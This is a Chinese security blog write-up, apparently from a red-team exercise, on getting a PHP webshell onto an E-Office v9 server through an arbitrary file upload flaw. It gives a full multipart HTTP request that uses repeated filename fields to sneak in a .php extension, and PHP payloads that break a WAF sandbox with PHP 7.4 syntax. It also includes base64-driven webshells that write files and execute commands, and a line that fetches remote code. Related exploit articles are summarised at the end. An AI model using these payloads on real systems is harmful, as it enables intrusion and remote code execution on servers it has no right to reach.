记一次PHP文件上传WAF+沙盒绕过

VSole2022-10-19 07:32:29

正文

打了一场护网遇到了好几个这样的环境,在这里记录一下绕过过程。

如下的为本地伪造环境,目标系统E-Office v9,存在任意文件上传漏洞。

首先需要绕过的是php的文件后缀,如下:

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1Host: 192.168.1.70User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348Content-Length: 2108Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="file"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="2.phpContent-Type: image/jpeg
2222
--e64bdf16c554bbc109cecef6451c26a4--

成功绕过了PHP后缀名的拦截,然后现在需要绕过内容的过滤了。首先是发现他并不支持 <? 这种段标签的方式。

虽然上传成功,但是呢,没办法执行。

然后还拦截一些常用的一些函数之类的,尝试进行绕过

但是!!!!!只要有 号就进行拦截。

<?php file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );

然后尝试了很多方式进行这个分号绕过,然后发现这样子就不拦截。

<?php 12321312file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );

最终确定为他是一个沙盒,就是 PHP 内容能被 php 语法支持的情况下就拦截,语法不支持的情况下就放行,那么绕过思路就有了。

他默认返回的是:X-Powered-By: PHP/7.4.28,那么是否可以通过 PHP7.4 的特性来进行让他沙盒报错呢,从而达到绕过的效果,如下:

然后就是写木马了,然后发现使用 file_get_contents 远程下载文件为空,在想是不是不出网,使用另外一种方式。

<?php 
array_map(fn (User $user) => $user->id, $users);$a=str_replace('hhh','bas', $_GET[1]);
file_put_contents   ($a($_GET[3])  ,      $a ( $a (            $_POST[a]         ) ) )        
;

使用方式为:

?1=hhhe64_decode&3=dHR0LnBocA==&a=马子内容双层base64

使用base64进行写文件、但是发现写了很多个木马都连接不上,尝试写了一个 cmd 的木马。

<?phparray_map(fn (User $user) => $user->id, $users);$b=str_replace('ccc','bas', $_GET[2]);$b($b($_GET[1]))($b($_GET[3]));

发现执行 whoami、ipconfig 都会卡30S以上,最终会执行成功,但是执行其他的就会直接被拦截死,最终通过黑加白的方式进行上线的。

phppng
本作品采用《CC 协议》,转载必须注明作者和本文链接
我们发现了一个路径遍历漏洞(CVE-2022-24716),该漏洞可被滥用以泄露服务器上的任何文件。它可以在没有身份验证和事先不知道用户帐户的情况下被利用。我们还发现了CVE-2022-24715,它会导致从管理界面执行任意PHP代码。
为了获得根目录,有一个二进制文件在没有完整路径的情况下调用popen,这使它容易受到路径劫持攻击。信息收集1.端口扫描发现存在22和80端口。>' 1.png 生成一个图片马,图片在网上下一个.png格式的。发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。登录之后,直接获得了admin用户密码。成功找到第一个user.txt文件。
常见6种WAF绕过和防护原理 本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!
CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!????今天就聊聊关于上传绕过WAF的姿势,WAF简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!
如果Web系统中存在服务器请求伪造漏洞,不仅会影响系统本身,而且会影响到与其相关的其他系统服务。一个被忽视的服务器请求伪造漏洞,很容易引起蝴蝶效应,可能给整个系统带来长期的巨大危害。
unserialize()函数能够重新把字符串变回php原来的值。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。将对象格式化成有序的字符串。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
在Web系统中,允许用户上传文件作为一个基本功能是必不可少的,如论坛允许用户上传附件,多媒体网站允许用户上传图片,视频网站允许上传头像、视频等。但如果不能正确地认识到上传带来的风险,不加防范,会给整个系统带来毁灭性的灾难。
VSole
网络安全专家